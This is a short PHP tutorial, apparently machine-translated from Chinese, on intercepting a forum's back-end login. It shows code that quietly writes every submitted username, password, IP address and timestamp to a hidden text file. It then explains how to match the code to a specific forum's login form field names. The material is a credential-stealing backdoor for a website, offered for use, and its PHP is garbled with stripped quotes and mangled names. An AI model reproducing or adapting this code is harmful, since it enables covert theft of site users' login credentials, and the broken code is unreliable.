if ($_post[loginsubmit]!=) {//Determine if the login button is clicked
$SB =user:.$_post[username].--passwd:.$_post[password].--ip:. $HTTP _server_vars[remote_addr].--. date (Y-m-d H:i:s) . RN; Connect the value of the post received to the variable $SB
Fwrite (fopen (Robot.txt,ab), $SB);} The result is written to a file
The following simple analysis, the Chinese landing page for example. Open bbs.xxx.com/login.php Right-click to view the source code, Ctrl+f Search action to find the landing form.
I just copied the key code over here.
.... Powerful ellipsis ...
Account (
u ):
class=input id=pwuser accesskey=u size=16
name=pwuser>/username Input box, note the value of its name, and $_post[username] This is the corresponding, so to intercept the Chinese password, need to change to $_post[pwuser]
Password (
P ):
class=input id=pwpwd accesskey=p
Type=password size=16 name=pwpwd>//user name input box, note the value of its name, and $_post[use Rname] This corresponds, so to intercept the Chinese password, need to $_post[pwpwd]
Above introduced the background landing interface PHP interception background login code, including the background landing interface content, I hope the PHP tutorial interested friends have helped.